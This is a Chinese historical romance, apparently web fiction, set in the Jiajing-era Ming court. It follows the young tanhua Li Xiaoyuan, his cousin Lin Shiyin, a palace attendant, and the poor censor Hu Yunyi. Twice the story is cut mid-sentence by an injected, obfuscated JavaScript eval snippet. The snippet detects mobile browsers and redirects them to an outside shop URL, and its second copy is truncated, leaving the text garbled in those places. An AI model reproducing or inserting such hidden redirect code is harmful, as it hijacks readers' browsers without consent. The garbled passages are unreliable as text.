“奴眼看着相公要往大明门的方向去。大明门内,谁不知道是内宫所在,相公原来是一位少年英才,天子朝臣么?” 实则她们和大明门乃是两个方向,她这完全是睁眼说瞎话,可对方涨红了脸,也愣是顺着她的话说下去: “也……也算不得什么……些许功名,小生还未放在眼里。然而姐姐说的不错,小生正是要往宫里去,只因我那上司翟銮翟大人,不知为的什么,急急忙忙召唤小生……” “翟大人乃是当朝一品,首辅大学士,相公不要去迟了,叫翟阁老生气吧。” “不打紧,不打紧……” 这少女微笑道: “迟到总归不好,奴便送您一送。” 说着忽然扬起鞭子,一下抽在对方的坐骑屁股上,那马匹吃痛人立而起,差点把主人抛在马下,此人急忙两手搂住马脖子,才免此祸。此时头顶鞭声炸响,少女又连着抽了三鞭子,竟叫马打了个转,糊里糊涂地就掉头面对大明门的方向,绝尘而去。 四周静了一会儿,忽然四起了叫好之声。那年幼的姑娘知道无礼之人已经被打发走了,方才从她表姊怀里坐正,面颊仍是红扑扑的,说: “表姊,外面的人好生无礼。” 表姊捏捏她的脸颊, “妹妹累了,表姊带你找个清净地方,吃好吃的,歇一歇。” 话是这么说,这一对美丽的少女,走到哪里都是极其惹眼的,不管她们想去什么清净地方,跟着后面那堆尾巴,也不清净了。年长的少女于是在街头盘桓片刻,一忽儿好像提起马鞭,要乱打一通,把这些人都赶走,一忽儿又自己摇摇头: “不可坏了表妹的兴致。” 这样想着,她遂策马径直出了正阳门,登上了正西坊一座京城中最华丽的茶楼。明人好风雅,而风雅不过茶中三味,于是茶坊往往最为真风雅或附庸风雅者所趋,酒楼反而因其常常三教九流都从中过,歌女揽客,银钱纷响,流俗之地,当然就落了下乘,为清贵所不喜。 本朝开国之初,洪武二十七年间,太祖皇帝朱元璋因见海内太平无事,以为毕生功业已成,要与民同乐,便命工部在应天府江东门外造了十座酒楼,后来扩充到十六座,统称“十六楼”,日后则为烟花之地的代名词。官员们虽然按律严禁宴乐狎妓,但十六楼做做过往客商的生意,就已然赚得盆满钵满,侑酒歌妓,以资国库。 至成祖皇帝时,在顺天另设都城,是于荒地上复现了一座应天府,皇城之内固然是有一模一样的全套朝廷班子,城外连烟花之地的陈设也毫无差池地照搬了,俱是高基重檐、宽敞华丽。两人登上的这座茶坊,还用洪武年间之旧名,叫清江楼。凭栏而望,此地并无清江,只是照搬南京旧都之名而已。 十六楼都由户部统辖,事实上是交给商人自行其是,只按律收数。这清江楼主人倒着实乃一怪人,开茶楼酒肆的常常遇见一些难缠的客人,他这做主人的竟然比绝大多数客人更加难缠,动不动他就要把不守规矩的客人给扔出门去,按理说,有这么大的架子,他这茶楼开不了三天,但不知道是不是反而迎合了清贵们的心理,生意反而十数年地非常兴旺。 姊妹二人的马匹来到这儿,就已经将身后的闲杂人等给甩掉了一大半,可十六楼是京城最繁华的地方,街对面的南市更是官营的娼寮,在这儿有新的闲人,无一不是出来巴不得找点乐子的,是以两人的耳根总不得清净,直到上了清江楼,大多数人才被拦在门外。 楼上倒还清净。姊妹二人由小厮招待在一张靠窗的桌前,一会儿三条粗使的汉子又吭哧吭哧为她们搬来一座千里江山玉石六围大屏风,方才遮掩了四面八方的视线。 那小厮连连赔笑道: “李探花,你老人家大驾光临,也不说一声,鄙店准备不周,怠慢了小姐……” 李探花用手撑着脑袋,淡淡笑道: “怎么,我上你们这儿来,还要先递拜帖?” “那倒不是,那倒不是……只是这些人实在讨厌,赶也赶不走。主人因特意叫搬来这扇屏风。这可是我们主人的心爱之物……” “得了,走在街上就不怕别人看。插屏本在精巧,弄这么大一扇,你们老板的这品味也够怪的。”李探花漫不经心地道,“去把点心捡几样好的来,我表妹爱吃甜的。” 小厮领命去了,不一会儿便先上来一碟小点,每只不盈寸许,皮是半透明的,近乎水晶,透出里面柔柔的红色来,一例四只,摆在菱角形的翠绿盘子里。诗音提起筷子戳了戳,道: “不知道有什么稀奇……配这碟子倒好看。” 李探花笑了: “好小姐,那么你是要看它,还是要吃它?” 诗音尝着点心,笑意仿佛融化了一般,又眨了眨眼睛。 “咦……酸的。” 他就很散漫地趴在桌子上,看诗音吃东西。诗音在宫中教养,一举一动极有规矩,却嫌太规矩了,失了少女的活泼,而近乎老成了,一年到头,她也难得这样做一回天真女儿。 实际上,诗音上一次出宫,确实是两年前的事了。当时,李探花还未进士登科,却随他大哥李荣平定大同兵乱归来,嘉靖皇帝听说有这样一位少年的侠士,年仅十五,方鏖战之时,手持一把乌鞘宝剑,骑马步战皆能,十四天凡大小六次接战,他竟手刃了有数十人,以为如说唐中李元霸事,特意将他宣了上殿。 一见之下,发现原来是这样一个挺拔、美丽的少年人,更加喜欢,对他说: “好,好。李孝元,今次有此大功,朕封你做个兵部左侍郎,和你哥哥李荣左右相伴,摆着也好看。如何啊?” 他仰头望着皇帝,觉得皇帝坐得高高的,远远的,而笑着说: “我不要功名;功名我自己会考。现在我想……嗯……见一见我的表妹。” 嘉靖大乐,道: “你的表妹,找朕来要吗?” 原来,这李孝元的表妹林诗音即是宫中女官,当时在曹端妃宫中侍奉。算算她进宫也有一年了,因进宫时曹端妃刚刚诞下宁安公主,便多给她宫里拨去了几个人,林诗音也在其中。她的年纪虽然幼小,但为人聪慧稳重,细致温柔,小公主到如今竟似离不开她,曹端妃宫中事务也多赖她打理。 李孝元的父亲是前任的户部尚书,林诗音的姨父,嘉靖十八年因病致仕。致仕之日,照例要赏下金珠翠玉,臣僚叩头谢恩,然后回家安度晚年,这都是常例。可是李尚书却私下恳求,希望皇帝能恩准他那寄住在家中的侄女进宫侍奉。 李尚书说,夫人刘氏谢世多年,夫妻恩爱甚笃,他便不欲续弦;长子又眼高于顶,到了四十岁上还不肯娶妻,据说总要找一位十全十美的小姐。起初媒人还很热心地上门,许多门当户对的人家也纷纷觉得自己家的小姐正是十全十美,不料十次八次地都被他一口回绝,后来提亲的人就稀了。 总而言之,到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995979|193873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这个关头,家里竟然连个可以教养女孩儿的女眷也没有。李家的家系虽然庞大,其他旁支尚且希望从这一支讨点好处,如何还能指望他们的家庭能够养育一位千金小姐?思来想去,唯有宫中。盖洪武皇帝立朝之初,就定下规矩,以天家为万世垂范,皇帝的后宫,乃是全天下家庭的楷模,姑娘在这里,应当能学到最合仪的礼节。 说是这么说,可实际上后宫是个什么样的地方,大家都心照不宣。 皇帝眼眉一挑,倒不知这老李要弄什么鬼,若说是那些权欲熏心,梦想着靠女孩儿往上爬的大臣,绞尽脑汁将姑娘送进宫中倒也罢了,至少还可理解。可是李尚书一门素称清贵,假如他是这样的人,也不会在三十多年前刘瑾祸乱之时,被贬为一个小小的兵部主事,经历多年的困厄生涯,直到改朝换代才起而复用了。 李尚书又说,不敢万万不敢奢求侄女儿受宠而显贵,她若能侍奉在各位娘娘身边,学学规矩针指,于愿足矣。既然于愿足矣,那就答应了他,来年让姑娘和一船的五湖四海采来的年轻姑娘们一起入宫。这一船,是内廷“六尚”之中劳作的奴婢,若说侍奉皇上的秀女,那又是完全不同的流程。 那时候,年轻的李孝元站在大殿上,他还不知道自己将来的命运,不知道自己将要在第二年的春闱高中探花,不知道短短一年之后就将再次造访大同,不知道将会失去亲人,然后一连数月,徘徊在宫墙底下,一心想着把表妹偷出来玩。那时,嘉靖看他很好,心里喜欢,便吩咐人去问方皇后。不多时,皇后懿旨传来:就叫他们小儿女去玩上一天吧!天黑之前,可要把姑娘送回来……时隔一年,他喜孜孜地再度握住了表妹小小的手。低头听她柔柔地唤道: “表哥……” 李探花猛然惊醒了,他睁大双眼,一抬头险些碰翻了桌上的杯盘碗盏。坐起来才发现桌上不知何时已经摆得满满当当,竟似桌八宝全席样,这种乡下人吃的粗鲁席面,是绝不会讲究什么精细的,一概地只把肉油塞满肚子了事。李探花对着眼前的一盘红烧肉皱了皱眉头,小厮忽然又绕进了屏风,手里端着一大盘酒酿蟹。蟹在京城一向是稀罕物什,何况这个季节了,因此这么一大盘应当是价格不菲,李探花却只皱着眉头道: “阁下认不认得我是谁?” 吓得小厮手里的盘子都差点掉了。他把盘子一放下就赶紧插烛也似地拜: “李探花,哪里不合你老人家心意了?” “你既然认得我是李孝元,为何要把我像填鸭、喂猪似的整治?” 那小厮哭丧着脸道: “不是啊,李探花,这是人家送的,小姐也说可以摆下……” 原来在李探花睡着的功夫,清江楼上来了一对侠女姊妹的事情已然传开了,能登楼的都是一时的贵人,有的看穿了他的身份要行调侃,还有的只是单纯的想调戏一下陌生的美人,竟然纷纷地送菜、送酒、送赠诗进来。这在当时本来是种风雅事,所以小厮只来问诗音,诗音性情柔和,当然不会拒绝,一来二去,把两人身边弄得和摆摊也似。 李探花朝盘中瞥了一眼: “这是谁送的?” 小厮悄悄地引他看去,原来是一位青年的公子,坐在那儿喝闷酒。李探花索性走出屏风,朝那公子笑了一下。对方即刻避席回礼,又道: “今日能与小姐相逢,幸甚幸甚,夏日最宜吃蟹,此地杨大厨蒸蟹手法最妙,小姐尝了吗?” 李探花笑道: “蟹可没有您说的话新鲜,杨大厨就是真从坟里爬出来伺候我,我也不敢用他。” 原来清江楼的杨大厨在旧年就因病谢世了,只是他身后名声尤高,大多只知道他的手巧,不知道他还活着否,闹出这样笑话来。 他把小厮召来,吩咐了两声,又转回屏风之后去了。那青年的公子,便眼巴巴地瞧着小厮送来一壶酒,说是两位小姐奉送给他的。一尝却极辛辣,原来是山西的汾酒,俗话说,烧酒乃酒中光棍,与之搏斗两盏,足以把人眼泪都呛出来。我们这位多情的公子,流着泪,幸福地悠然远想:不知小姐送他这壶酒是甚么意思,俗话说的好,酒是好事媒…… 他马上诗兴大发,对小厮说: “取纸笔来。” 小厮却不动,望着他道: “您要是想留诗给两位小姐,我劝您还是算了吧。” “怎么!” “您不要平白地叫人难做,小的是既惹不起您,也惹不起那位小姐,因此索性有话直说:她送您烧酒,不过是叫您漱漱口,清清口臭,想不到,您全给喝了!” 此人在原地发了半天怔。 却说李探花,索性提了壶酒,站起身来。诗音知道他是烦了,便道: “表哥,咱们再上哪儿去?” “嗯……这倒没想好,不过,我们不如就看海去!” 诗音还是笑: “京城哪里有海呀。南边的京城没有,北边的也没有。” 李探花豪气干云地说: “现在没有,表哥给你造一个。” 诗音笑了。她笑的时候,让你觉得,这令她发笑的事情仿佛就是她苦海所浸透的一生中,所得到的唯一一点安慰。 京城倒有许多大湖,譬如后海和什刹海。但都算不上真正的海。要举手之间造出片海来,无异于痴人说梦。因此诗音全没当回事,只是望着她的表哥,犹如望着一个为自己说梦的痴人。她爱他的痴。 4. 把酒喝进鼻子里 散朝以后,胡云翼从清吏司领到了他这个月的俸禄,本来打算就回家,出了正阳门,又改变了主意,于是他就径直往老师温仁和家里去。温仁和是辛丑科的主考官,本科进士皆与他有师生之谊。冬天的时候,老师因病在家休养,云翼去看了一次,现在半年过去了。 本朝官俸甚薄,以云翼的七品官秩来说,每岁俸禄九十石,但往往又不发给钱粮,却以折色相抵。折色者,无非就是一些吃穿用物,绢纱香料之类的,春夏各不相同,大抵是本季物产。所以云翼常常能领到一些乱七八糟的东西,譬如胡椒和苏木。这个月,人家把半匹绢交在他手里。云翼看了,哭笑不得。他家里实在已经揭不开锅了,半匹绢既不能吃,他也没有妻妾家眷,用不着做那老些衣服,所以在前门处愣了一会儿,觉得还是拿去给老师。所以就多走了半个时辰,到老师家里时,已是红霞满天。 去了一看,老师家中本来就有客人,还是同年中他比较相熟的一个,叫鄢懋卿。 登科的进士,除了一甲的三位当场授官于翰林院之外,其他人等也都在日后被分派了差使。云翼三十来岁,容貌端整,神情肃穆,堪可为大国礼仪之表,就被派去做从九品的行人,做的是颁行诏敕、抚谕四方这样东奔西跑的苦活儿。那时候同是行人的鄢懋卿常和他一起在路上奔波。但鄢氏和他不一样,似乎总能在边边角角抠出油水,日子过得相当滋润,几个月下来,云翼瘦出骨骼的棱角,脸也晒得黢黑,鄢懋卿倒还胖了。 相熟,并不一定意味着关系就好。鄢懋卿觉得云翼糊涂,云翼觉得鄢懋卿油滑,彼此只有表面的礼貌,并不相得。后来,云翼因行事恭谨,刚正不阿,敕改御史台,结束了这场彼此都不敢领教的同事情谊。 鄢懋卿正在堂上比比划划地说些什么,说到兴起,还腾地跳下地来,学起一位同僚出丑的样子,颇有老莱子娱亲之风,老师坐在那里恍惚而慈祥地笑。此时云翼像个脚夫似的肩上扛着那半匹绢走进来,三个人都愣了一下。他把那绢从肩膀上卸下来,交给门口的仆人,支支吾吾地说: “我要这些没用……” 然而,在场三人都是宦海浮沉,自然明白是怎么回事。鄢懋卿说: “老胡,你也忒愣了,是不是要做清官做到把自己饿死?一个饿死的官,是不是想丢尽皇上的脸!” 云翼板着脸说: “所幸还不曾饿死。” 说着,就走上堂来,先问老师的好。老师说:“好,好。”让他坐下。云翼觉得老师老得多了,去年大比之时,他看到老师高高在上地坐在主考官的席位上,何等的官容整肃,令人心向往之,谁能想到,一年过去,他竟然迅速地变成了个眼睛都睁不开的老头子,每天在家里闲坐着,等皇上首肯了他致仕的请求,便收拾东西回乡养老,那时候,他就算是想多走半时辰来看看这个眉毛都掉了的老头,岂可得乎? 云翼又说: “老师,那绢倒是好料子,你拿去做衣裳穿吧。” 温仁和叹口气说: “做寿衣倒正是时候。” 云翼说: “哪里,云翼盼老师长命百岁。” 鄢懋卿从旁冷哼一声。他看人的眼光一向毒辣,认定了云翼是个榆木脑袋,虽先他一步得了升迁,这升迁也就是他用这响当当的硬脑壳给撞出来的;而今的品秩虽然比他高上两级,并且是监察御史这样前途无量的职位,他却断定了这么一个老实得过了头,家里又穷得叮当响的人绝不会有什么大出息,因此他对云翼说话是格外地不客气。也因为不把他当回事儿,所以对云翼,他反而常常一说就说得多了。 “老胡,你别嫌我说话难听,当官当到你这份儿上真是埋汰!你家里是房无一间,地无一垄,就指着这点官俸过活,这么要紧的事,你也不放在心上,难道人家给你什么,你就拿什么?下次他们就敢弄包狗屎放在你手上了。” 云翼说: “地我还是有一点的……” 他说自己有地,不过为了不让老师担心;但话音未落,自己先脸红了,因为想起了自己家的那点地。那是今年年初,皇上不知为何忽然赏了他两匹上好的丝绸,云翼不知道是李孝元和皇帝开了两句关于自己的玩笑的缘故,在家里检点自身行止,觉得问心无愧,于是收下了这份赏赐,后来用这两匹绸子赁下了他那破屋后头的一点点荒地,严格来说,那荒地本来是他邻居家的房屋,因为无人居住,房顶早塌下了个大洞,连年地被人左捡一块砖头、右捡一块砖头,整间房子渐渐地只剩了个地基,云翼遂将那一片给买了下来,收拾成自家后院,种种菜,聊补餐馔。可惜因为工作忙碌,无心照顾小园,这点菜长得是东倒西歪,有渊明之古风。 鄢懋卿笑了一声。云翼争辩道: “你用不着管我的事!” “你看看,这没良心的。你我哪怕没有同年之谊,好歹也是同朝为官,我关心你两句,你竟把好心当作驴肝肺!再说,老师还在这儿呢。” 云翼干巴巴地说:“好吧。但律令如此,难道叫我去贪污?为官者,只可像太祖高皇帝所说,见义忘利,‘守俸如井泉,井虽不满,日汲不竭,渊泉焉’……” “得啦,得啦。”鄢懋卿打断了他,又叹口气,“跟你真是白费口舌。说真的,你得动点心眼儿,适当地疏通疏通,这么下去不是个事儿……” “这种事我不干!” “你这人,人家的好意思也叫你想岔了。我问你,既然折色是规矩,怎么有人能领到银两,有人就只能领到废纸一张的宝钞,还有人乱七八糟地什么都能收到?你呀你,你连点皂吏银都不肯吃。” “皂吏是国家体恤恩典,岂是拿来‘吃’的?你们总这样一边一角地抠银子——” “懒得和你说了,我只给你指条明路吧。胡云翼,你已经是没身家的人了,更应该好好琢磨琢磨这‘情谊’二字,譬如你我的同年之谊。在咱们同年的人里头,不就还有个李孝元吗?他父亲是前任的户部尚书,人虽然致仕回乡去了,门生故旧甚多,余威犹在。李荣就是运气不好,拿命加了个兵部尚书衔,可他要是活着,迟早能当成实职,李孝元又深得圣眷……一点点小忙,你向他说说,他会不帮吗?帮了能帮不成吗?” 云翼说: “李孝元!不过是个半大孩子,就这样也能做官?官,是经世济民的,他连事儿都还不懂呢。他干的那些荒唐事,简直数也数不清,上次他喝得醉醺醺的坐在北安门鼓楼上唱歌,我递折子上去,皇上竟然留中不发。” “你得了吧,人家是三代的尚书。龙生龙、凤生凤,老鼠的儿子只能打洞。你信不信?他一生出来就比咱们摸爬滚打三十年还会做官。咱们顶多只能是官官相护,但世上最大的官,可是皇上!人家有皇上护着,你怕不怕。” 云翼笑了: “闹了半天,你就为了拐弯抹角地骂我只能打洞啊。” 说着,叹了口气: “我胡鹏寒窗二十年,出来一看,竟是这样世界。” 云翼在老师处略坐了一会儿,回到家中。那一带的房屋甚为破烂,人虽然多,大都衣衫褴褛,然而今天竟然远远地望见家门前一大片皆是人头攒动,实在是从未见过的奇景。这些人看上去虽然并不是什么达官贵人,身上穿的在这儿却已算是鲜衣华服了。大家聚集在云翼的家门前,将那个小小的门洞给围得水泄不通,院子里也是挤满了人。 云翼家里的老用人胡二,用石头敲着铁锅的锅底,大声说: “滚开,都滚开!这里是当朝监察御史胡鹏胡大人的宅邸,我是胡宅管家胡二,你们在这儿撒野,等我家大人回来,通报有司,把你们都给抓起来!” 人群中有人回敬道: “得了吧,就这,还宅邸!叫你家大人睡觉的时候小心点,别让房梁塌在他身上了。” 云翼从人群中挤进去,路过那人身边时,还冲他作了个揖: “多谢关心。这房子虽破,一点风雨还扛得住。” 正主回来了,人群一时大哗。云翼终于挤到了院子里,问道: “这是怎么回事?” 胡二抢着说: “老爷!不知道从哪里冒出来的这些人,径往府里闯,说要看什么美人,你快惩治这些无礼之徒!还有那两个小厮,他……” 云翼摆手止住了他的话头,望向屋中,一看之下,却发起怔来。原来他家中门户大开,屋里本来就没几样家具,里面的情形一览无余。此时便见到他家中那虫吃鼠咬,破破烂烂的木头桌子上,满满当当地摆着杯盘碗盏,竟像喜酒似的热闹。就这,还有两个两个短衣的小厮没忙活完呢,不断地从脚边的大食盒里端出各色佳肴来,摆在桌上,桌上摆不开,便塞在胡二手里。胡二端着那一大盆鳜鱼羹,哭笑不得,瞪眼道: “这是干什么?还有没有王法?” 那两个小厮,似乎是觉得这宴席甚为滑稽,不住地冲彼此挤眉弄眼。听到胡二这样说,就憋笑道: “哎呀,你老就别嚷嚷了,这不是桌上没地方了么?” “那就叫我这么一直端着?” “这也是没办法的事儿。你就给你家老爷端到终席,有什么打紧?” 胡二喃喃地道:“这些阔人真不管人的死活。” 那两个小厮见云翼来了,便道: “胡大老爷,小的每是清江楼的杂役,今天来了两位姑娘,好大手笔,一套席面没用完,就叫送到老爷您这儿来。瞧咱给您整治的好席面,您要请客,现在是不缺什么了,只还得要几支红油大烛,把这屋子照得亮堂点才好。” 云翼板着脸说: “我不认得什么姑娘。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你别光顾着自己吃,拣几样好的拿回家去给你娘子和闺女受用。” 胡二笑道: “咱哪里懂得什么是好,反正吃进肚里的就是个好。” 云翼不说话了。胡二又说: “老爷,我回家把闺女叫了来吧!” 云翼以为他要叫女儿来端饭菜,便随口道: “也好。” “叫了来,就不叫她走了。” “你这话是什么意思?” “叫她在这儿伺候老爷啊。伺候老爷吃,伺候老爷喝,伺候老爷拉撒睡觉……” “越说越没谱了!胡二,你要是再这样胡闹,明天干脆别来。” 胡二吸尽盏中酒,将酒杯拍在桌上,大声地嘟囔道: “他吓唬谁啊!” 原来胡二家里是军户,他到了六十岁上,就离开了卫所,叫儿子去接替他的职务,可是家里穷得这样叮当响,回了家亦不能颐养天年,便走街串巷地替人做小工。后来听说本地搬来了一位御史胡大人,这胡二就跑来攀本家,寄在云翼的家中,替他生火造饭,做做杂事。胡二的烹饪技术虽然很差劲,好在云翼家里也没有很多食材供他摆弄,总是不至于把粥烧糊也就是了。 胡二的儿子在外当兵,家中还有一个老妻,一个闺女。他便常思把闺女塞到云翼的怀中来。 云翼说: “你要是怕闺女老在家里,我过两天可以给你找找官媒人。” “老爷,你这么说话太没出息了,好好的黄花大闺女,你把她往外推!直说了吧,我闺女为了你要害相思病啦!难道她长得不水灵?” “这……这不是一回事……” “你就实话说!” 云翼用尽了他一生的勇气,说: “水灵。” “你不喜欢她?” 云翼小声说: “喜欢。” “光喜欢就完事儿啦?” “……很……很喜欢。” “那么就叫她来伺候你吧!我年纪一把了,穷是穷,因为我祖上十八代都是穷骨头,可我看人不会错。我早看出老爷你为人正派,将来一定前途无量。我难道不知道要把闺女嫁给有钱人吗?难道我闺女那样的好相貌、好巧手,会嫁不着一位阔老爷?我是看中了老爷你的人品。你要是怕你老丈人家里没权没势,将来挡了你的道,你把她收下,就做个小妾也不妨。” 他倒以老丈人的名义自居起来了。云翼不禁觉得好笑。他自斟自饮,过半晌,摇摇头,又摇了摇头。 5. 昔我往矣,杨柳依依 端妃丽,有淑德,上幸之。临幸之临,非天子驾临也,乃是妃嫔们到陛下那里去。是以整个傍晚,端妃的宫人们都忙得歇不下脚来。 端妃坐在铜镜前,着一位司衣司的典衣娘子替她梳头发,这位典衣娘子今年二十五,打算过不多久便求恩典出宫去了,可是阖宫上下,再也没有谁有她这样的好手艺。许多时兴的发式是从她手里出来的,这些发样子又被小太监们描了去,流到宫外,便使两京女子一时之间蔚为风尚。端妃照着镜中自己的容颜,忽然叹了一声。那典衣道: “娘娘何故叹气?今天皇上传召,是大喜事,娘娘该高高兴兴的才是。瞧,奴婢这样替娘娘把头发梳上去,加上这支皇上赐的鸳鸯合股金钗,更显得娘娘雍容大方了,皇上见了肯定高兴,皇上一高兴,赏赐自不必说,再给娘娘怀里揣一个小皇子,娘娘的荣华富贵,就更牢靠了。” 端妃黯然道: “今后再没有人像你一样替我梳头了。” 典衣娘子道: “娘娘快别这么说,娘娘是看惯了宫中风雨的人,咱每这宫里,年年是一代新人换旧人。眼下又是一年隆冬了。说不定明年新人进来,比奴婢还强呢,到时候娘娘您贵人多忘事,还记得奴婢是谁?” 端妃也笑了: “纵然有人像你一样手巧,也没有人像你这么饶舌。” “啊呀,奴婢这叫嘴甜。” 此时,诗音把端妃的一件雪地里穿的青缎提花萱草纹大氅给捧了来,并着人找出今天要穿的衣裳,请娘娘过目。那典衣娘子笑道: “林姑娘的眼光最是独到,总是这几件衣裳,在林姑娘手里一变,竟好像不一样了,像是新做的衣裳似的。娘娘,你当初把林姑娘挑了来,真是挑对了,若叫她去司正司做个女史,多浪费呢!” 端妃微笑道: “却不是我挑的,是贞儿挑的。” 曹端妃膝下有两个女儿,长女寿英,也就是本朝的长公主,生下这位公主,令母亲由嫔而妃。因方皇后无出,故而一落地便抱到皇后宫中去了。次女禄贞,是嘉靖皇帝的三女儿,今年只有两岁。两年前公主刚刚出生的时候,正逢着新进宫人,她们多是平民、甚至贫民出身,在宫中的身份是奴婢,职责是劳苦,绝大多数都在宫中劳碌杂役,消磨青春。能够得到圣眷一步登天,乃是天方夜谭般的故事。 在这其中有一位林诗音姑娘,家世却很不平凡。 林诗音名义上是浙江嘉善县令的女儿,这在宫中的奴婢们之中,已经是千金小姐般足可仰望了。然而她不幸幼失怙恃,自小养在她姨父户部老尚书李廷相的家里。为着些一两句话也说不完的缘故,老李尚书致仕时,向皇帝祈求恩典,才算把她塞进宫来。进宫以后,李家的上下打点自然是少不了的,于是尚宫娘子本来打算把她分去做个女史,清闲安逸地过几年,熬到二十五岁出宫便了。 可是就在这当口儿,曹端妃为新添了小公主,忙活不过来,自己抱着女儿过来挑选使婢。小公主怕羞,见了生人便哭,唯独肯让诗音抱,于是端妃如获至宝,将诗音带到她自己的宫里来了。诗音当年只有十岁出头,然而事事谨慎周到,竟比许多长她个七八岁的宫女们还要老成,端妃于是对她越来越爱,小公主禄贞如今吞吞吐吐刚会说话,便会叫诗音作“林姑姑”,整日里若不见了母亲和林姑姑哪一个,就哭着要。 诗音对于端妃和典衣娘子的赞美,低头为礼,并且微笑了: “嘘,娘娘快些打扮吧,一会儿小公主醒了,又抓住娘亲的衣裙不叫走,可就麻烦了。” 三人俱都笑了,端妃怅然道: “一日不得抱着我的孩儿安眠,心里甚是不安。” “娘娘拳拳怜子之心,甚为可感。然而皇上的召幸,也是大事。娘娘您瞧,这样更美多了。” 诗音说着,将一对流苏如意纹金钗加在端妃的发髻上,“今天的雪大,从卯时就开始落了一整天都没停,而今要掌灯了。娘娘您戴着这对流苏金钗,穿着那在烛光下会流光溢彩的鹤云大氅,从雪地里一路走过去,皇上一定喜欢极了。皇上在今天传召娘娘,一定也是因为大雪而想到了娘娘的陪伴吧。” 端妃不知想到了什么,悲从中来,眼中有了泪水。她忽然站起身来。 “好了,诗音说的对,是该走了。” 众人连忙上来侍奉娘娘更衣。诗音见端妃神情有异,匆匆地到西屋里去看了看小公主,见她还在熟睡之中,便回来说: “小公主这一觉睡得沉,香甜到天亮也未可知。我便陪娘娘一道去吧。” 端妃笑了: “瞧你,我哪里就被他吓死了呢。” 但诗音还是随着一道走了。她打着灯在前面替端妃的仪仗引路,一路走,一路落着雪。因为雪下得太大,原本应当走龙光门,却不得不改道广运门,路过千婴门、御花园、东五所、钦安殿、坤宁宫,走到头发都花白了,才到乾清宫。 广运门的守门太监,不知道端妃的仪仗改道了,颇拉扯了一会儿。这时候,一行宫女们并端妃本人,也就只能等着。宫女们冻得受不了,纷纷地在深雪中跺着脚,搓手,呼哧呼哧地喘出白雾。所有人的面颊都给冻得红扑扑的。 内廷对宫女行动管束甚严,诗音平日里是难得到这里来的,如今她回头一看,在茫茫大雪之间,认得身后就是钦安殿,要是沿路径直走过去,前面就是玄武门,她进宫时走的就是玄武侧门。 进宫的时候,方才阳春三月,如今两年过去了,雪又下得这样大。诗经上的歌诗,忽然又闯到她的心上来。 昔我往矣,杨柳依依。今我来思,雨雪霏霏。 她五岁到了李家,那时候表哥已经开蒙了,在家中请塾师讲学,下了学,还自己在桌前用功,在洒金的笺儿上写字,不觉写了好多好多份,在身边叠了好高好高的一堆。诗音还不会写字,踮着脚趴在桌沿上瞧,瞧呀瞧呀,怎么瞧也瞧不懂。表哥就握着她小小的手,教她写下了人生中的第一个字: 愿。 愿我来世得菩提时,身如琉璃,内外明彻,净无瑕秽,光明广大,功德巍巍,身善安住,焰网庄严,过于日月。 她后来才知道,那时候因为姨妈刘氏疾病日笃,所以表哥每天抄写《药师经》为母亲祈福,抄了数不清的好多好多遍。好多好多遍。 后来她懂事了,会写字了,就帮着表哥一起抄。夏天的夜晚,两人一起到河边,把那些经文点燃,抛在水上,看着它们倏忽流去。 表哥做什么事情,总是带着她,表哥吃一口饭,要她也吃一口饭,表哥做一件新衣裳,要她也有一件新衣裳。表哥到人家家里去做客,得了一只小金桔子,也拿回来要和她一人一半。是以表哥念书,她就在旁边坐着,听着。三百零五篇的诗,江水一样悠长的楚辞,她和表哥共游过千年的文脉,是两位把臂同游的士大夫。此后姨妈去世,表哥开始念些四书五经,她也遵循闺范,轻易不再下她的小楼,只着眼针线女工。 忽有一日,夜里,她在灯下绣着一朵金瓣的菊花,窗户却忽然被轻轻推开了,表哥灵巧地跳了进来,两手背在身后,躲避着她探询的目光,总不叫她看清楚藏的是什么东西,只笑道: “诗音!我这些天苦练轻功,现在我来啦!你一天天的闷在楼上做些什么呢?” 诗音望着他,良久说不出话,后来她也笑了: “表哥,我给你绣只扇子套儿,好不好?” “我用不着扇子套。”表哥笑道,“你给我织双手套吧。我要开始学骑马、拉弓了,过两年,说不定就和大哥一起打仗去!” 诗音心想,表哥不去打仗该有多好?她柔声道: “我不知道表哥的手有多大呀。” 表哥这才得意洋洋地从背后伸手出来,原来他替诗音抱来了一张琴。 琴放在桌上了,诗音的小小的手,拉着表哥的手,一拃一拃地量着,说是要做手套,可是越过了手腕,就要量到表哥的胳膊上去了。可是她的心里,是想一直量到表哥的心上去。 第二年,诗音就入宫了。当时,一艘满载着莺莺燕燕的大船,沿着潮白河一路东去,她的表哥李孝元,后来人称小李探花的,一年间早已弓马娴熟,骑着马在岸上一路送她。诗音常常到甲板上去看。水流时缓时急,天气时晴时阴,她总是遥遥地望着岸边,要是能瞧见表哥的马,她就高兴。后来大家都拿她打趣:林姑娘,今儿的天气好不好? 李探花为诗音离开了直隶的老家,长居顺天。也就是那一年,他和大哥李荣到大同平乱,第二年他高中了一甲探花,第三年他处心积虑,把诗音从宫中偷了出来,在京城的街头走了一走。京城从此有了关于一对女侠姊妹的传说。 在小太监的低声抱怨中,宫门开了。 皇上今夜兴致大发,对曹端妃大谈丹道,端妃婉转奉承,丹炉的袅袅香烟,令她的容貌如幻似雾,在朦胧之间。皇帝感到今夜她美如仙子下降,不由得柔情地揽住了这仙子的柔肩,一层层地褪下她的衣裳。 诗音和其她宫女们坐在偏殿里,终于可以享受提心吊胆地忙碌了一整天之后难得的安静。偏殿里没有生火,而气氛也就冰凉到了极点。 偏殿里也到处都是床。整个乾清宫有二十七张床,让人闹不清皇帝到底睡在哪里。这是为了防范行刺者。但宫女们觉得这样的陈设很滑稽。 